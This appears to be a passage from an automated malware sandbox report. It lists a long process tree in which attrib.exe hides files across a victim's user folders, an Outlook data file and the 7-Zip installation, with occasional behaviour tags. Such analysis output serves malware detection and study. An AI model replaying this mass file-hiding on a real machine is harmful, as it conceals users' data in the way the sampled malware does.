    PID:4356
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Users\Admin\Documents\Outlook Files\Outlook Data File - ucfmexqphv.pst"
    3⤵
    PID:1784
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\AssertUnprotect.TS
    3⤵
    PID:6140
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ClearInvoke.ods
    3⤵
    PID:5472
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\CompressSuspend.vsd
    3⤵
    PID:220
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ConfirmWatch.xls
    3⤵
    PID:4116
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ConvertToSet.mpeg2
    3⤵
    PID:1952
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\DenySend.emf
    3⤵
    PID:3456
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\EditHide.fon
    3⤵
    PID:1036
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\EnableRepair.au3
    3⤵
    PID:1400
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\EnterConvert.asx
    3⤵
    PID:2880
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\EnterDebug.rm
    3⤵
    PID:5652
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\EnterDisconnect.au
    3⤵
    PID:3088
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\EnterMount.mpeg
    3⤵
    PID:6132
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ExpandUnpublish.mid
    3⤵
    PID:4104
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\FormatDisable.ico
    3⤵
    PID:3120
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\FormatGrant.doc
    3⤵
    PID:4940
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\InitializeUse.aifc
    3⤵
    PID:5208
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\MergeDismount.txt
    3⤵
    PID:664
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\MoveExit.mp4
    3⤵
    PID:5076
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\NewRestart.svg
    3⤵
    PID:1360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\OptimizeDebug.html
    3⤵
    PID:4880
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\PushSuspend.emf
    3⤵
    PID:4556
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\RemoveExit.txt
    3⤵
    PID:1264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ResolveCompress.eprtx
    3⤵
    PID:2340
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\RestorePublish.xht
    3⤵
    PID:1512
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ResumeInvoke.mpg
    3⤵
    PID:1352
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ResumeSync.vssm
    3⤵
    PID:4264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ResumeWait.cfg
    3⤵
    PID:3212
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\SaveStart.jpeg
    3⤵
    PID:944
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\SelectRead.svgz
    3⤵
    PID:3216
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\SetSelect.jpg
    3⤵
    PID:2204
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ShowSearch.rtf
    3⤵
    PID:1680
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\ShowSelect.cab
    3⤵
    PID:5116
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\SkipDisable.au
    3⤵
    PID:6052
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\TestSync.crw
    3⤵
    PID:3572
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\UnlockSet.wpl
    3⤵
    PID:5180
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Downloads\WaitSubmit.csv
    3⤵
    PID:5272
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\ApproveDismount.dib
    3⤵
    PID:4856
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\CheckpointResize.raw
    3⤵
    PID:2884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\CloseConvertFrom.jpg
    3⤵
    PID:2000
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\CompareBlock.dwg
    3⤵
    PID:3300
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\CompressCheckpoint.dwg
    3⤵
    PID:4340
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\GetDeny.tiff
    3⤵
    PID:1976
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\GrantRegister.crw
    3⤵
    PID:1440
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\LimitRevoke.jpeg
    3⤵
    PID:2172
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\MountSearch.eps
    3⤵
    PID:3248
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\MoveGroup.jpeg
    3⤵
    PID:5740
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\OpenFormat.tiff
    3⤵
    PID:1432
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\pCGSvaqciJ.jpg
    3⤵
    PID:2544
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\RemoveConvertTo.dwg
    3⤵
    PID:2980
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\ResizeSwitch.crw
    3⤵
    PID:5552
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\RestoreApprove.gif
    3⤵
    PID:2576
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\SaveSend.tiff
    3⤵
    PID:5760
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\SkipCompare.jpeg
    3⤵
    PID:3628
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\SkipWrite.dwg
    3⤵
    PID:2872
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\StopWatch.eps
    3⤵
    PID:5916
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\SyncOpen.dib
    3⤵
    PID:1292
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\UnprotectResize.raw
    3⤵
    PID:3396
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Pictures\UnprotectSubmit.dwg
    3⤵
    PID:4868
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\AssertFormat.css
    3⤵
    PID:3288
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\CompareUnregister.au
    3⤵
    PID:5088
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\DenyDismount.sys
    3⤵
    PID:5284
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\DisableEnter.wvx
    3⤵
    PID:5320
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\DisableMove.html
    3⤵
    PID:4976
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\EnterConvertFrom.aiff
    3⤵
    PID:2088
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\ExitRestore.kix
    3⤵
    PID:5508
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\ExportMeasure.htm
    3⤵
    PID:5036
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\GroupDisconnect.rar
    3⤵
    PID:4568
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\HideSwitch.vstx
    3⤵
    PID:5268
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\HideUndo.rm
    3⤵
    PID:2400
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\ImportSet.xml
    3⤵
    PID:3844
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\InvokeLimit.css
    3⤵
    - Views/modifies file attributes
    PID:5420
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\MountNew.avi
    3⤵
    PID:5748
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\MountSelect.eps
    3⤵
    PID:3040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\OptimizeSwitch.wdp
    3⤵
    PID:2464
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\RemoveClear.vstm
    3⤵
    PID:584
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\ResumeOut.odt
    3⤵
    PID:3884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\RevokeGroup.vstx
    3⤵
    PID:5324
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\StepMove.rtf
    3⤵
    PID:4656
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\SuspendOpen.jtx
    3⤵
    PID:3704
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\TracePop.mp4v
    3⤵
    PID:2788
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Music\UndoCheckpoint.vsdx
    3⤵
    PID:5536
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\ApproveRestore.vssx"
    3⤵
    PID:1792
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\ConnectJoin.DVR-MS"
    3⤵
    PID:5648
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\ConvertFromSuspend.xlsb"
    3⤵
    PID:5396
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\ExportCompress.htm"
    3⤵
    PID:1468
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\JoinExport.mhtml"
    3⤵
    PID:6124
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\LimitGet.css"
    3⤵
    PID:3904
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\PingConvertFrom.zip"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1728
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\ReceiveClear.pps"
    3⤵
    PID:4512
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\RemoveOptimize.DVR-MS"
    3⤵
    PID:5492
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\ResetOptimize.mp2"
    3⤵
    PID:1296
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\ResizeBackup.pcx"
    3⤵
    PID:3464
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\ResumeReset.htm"
    3⤵
    PID:3384
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\SendUse.jpe"
    3⤵
    PID:232
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\7-zip.chm"
    3⤵
    PID:1516
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\7-zip.dll"
    3⤵
    PID:4036
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\7-zip32.dll"
    3⤵
    PID:1956
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\7z.dll"
    3⤵
    PID:332
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\7z.exe"
    3⤵
    PID:220
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\7z.sfx"
    3⤵
    PID:4116
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\7zCon.sfx"
    3⤵
    PID:1952
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\7zFM.exe"
    3⤵
    PID:3456
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\7zG.exe"
    3⤵
    PID:1036
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\descript.ion"
    3⤵
    PID:2136
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\History.txt"
    3⤵
    PID:1668
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\License.txt"
    3⤵
    PID:3032
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\readme.txt"
    3⤵
    PID:4980
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Uninstall.exe"
    3⤵
    PID:2516
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\af.txt"
    3⤵
    PID:1208
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\an.txt"
    3⤵
    PID:2632
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ar.txt"
    3⤵
    PID:4104
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ast.txt"
    3⤵
    PID:2252
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\az.txt"
    3⤵
    PID:2336
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ba.txt"
    3⤵
    PID:1328
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\be.txt"
    3⤵
    PID:2008
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\bg.txt"
    3⤵
    PID:2496
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\bn.txt"
    3⤵
    PID:1568
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\br.txt"
    3⤵
    PID:3036
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ca.txt"
    3⤵
    PID:5148
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\co.txt"
    3⤵
    PID:2288
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\cs.txt"
    3⤵
    PID:2340
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\cy.txt"
    3⤵
    PID:5964
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\da.txt"
    3⤵
    PID:1352
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\de.txt"
    3⤵
    PID:3264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\el.txt"
    3⤵
    PID:3056
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\en.ttt"
    3⤵
    PID:4704
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\eo.txt"
    3⤵
    PID:944
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\es.txt"
    3⤵
    PID:2220
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\et.txt"
    3⤵
    PID:1128
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\eu.txt"
    3⤵
    PID:5124
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ext.txt"
    3⤵
    PID:2016
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\fa.txt"
    3⤵
    PID:6096
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\fi.txt"
    3⤵
    PID:4544
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\fr.txt"
    3⤵
    PID:3576
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\fur.txt"
    3⤵
    PID:3572
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\fy.txt"
    3⤵
    PID:6040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ga.txt"
    3⤵
    PID:1080
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\gl.txt"
    3⤵
    PID:5272
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\gu.txt"
    3⤵
    PID:2884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\he.txt"
    3⤵
    PID:792
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\hi.txt"
    3⤵
    PID:5520
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\hr.txt"
    3⤵
    PID:5040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\hu.txt"
    3⤵
    PID:1356
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\hy.txt"
    3⤵
    PID:428
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\id.txt"
    3⤵
    PID:3272
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\io.txt"
    3⤵
    PID:3340
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\is.txt"
    3⤵
    PID:2172
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\it.txt"
    3⤵
    PID:5740
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ja.txt"
    3⤵
    PID:240
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ka.txt"
    3⤵
    PID:1432
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\kaa.txt"
    3⤵
    PID:392
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\kab.txt"
    3⤵
    PID:4708
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\kk.txt"
    3⤵
    PID:5412
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ko.txt"
    3⤵
    PID:5760
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ku-ckb.txt"
    3⤵
    PID:1324
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ku.txt"
    3⤵
    PID:2872
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ky.txt"
    3⤵
    PID:3020
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\lij.txt"
    3⤵
    PID:2908
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\lt.txt"
    3⤵
    PID:6048
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\lv.txt"
    3⤵
    PID:4884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\mk.txt"
    3⤵
    PID:3880
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\mn.txt"
    3⤵
    PID:3732
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\mng.txt"
    3⤵
    PID:1672
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\mng2.txt"
    3⤵
    PID:3380
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\mr.txt"
    3⤵
    PID:2104
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ms.txt"
    3⤵
    PID:5372
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\nb.txt"
    3⤵
    PID:4976
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ne.txt"
    3⤵
    PID:5512
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\nl.txt"
    3⤵
    PID:5260
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\nn.txt"
    3⤵
    PID:4732
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\pa-in.txt"
    3⤵
    PID:4616
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\pl.txt"
    3⤵
    PID:2200
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ps.txt"
    3⤵
    PID:4728
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\pt-br.txt"
    3⤵
    PID:5980
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\pt.txt"
    3⤵
    PID:4188
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ro.txt"
    3⤵
    PID:812
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ru.txt"
    3⤵
    PID:4888
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\sa.txt"
    3⤵
    PID:4296
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\si.txt"
    3⤵
    PID:2988
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\sk.txt"
    3⤵
    PID:3812
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\sl.txt"
    3⤵
    PID:2720
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\sq.txt"
    3⤵
    PID:5308
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\sr-spc.txt"
    3⤵
    PID:5456
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\sr-spl.txt"
    3⤵
    PID:2312
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\sv.txt"
    3⤵
    PID:5212
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\sw.txt"
    3⤵
    PID:1420
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ta.txt"
    3⤵
    PID:776
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\tg.txt"
    3⤵
    PID:6088
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\th.txt"
    3⤵
    PID:3372
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\tk.txt"
    3⤵
    PID:2236
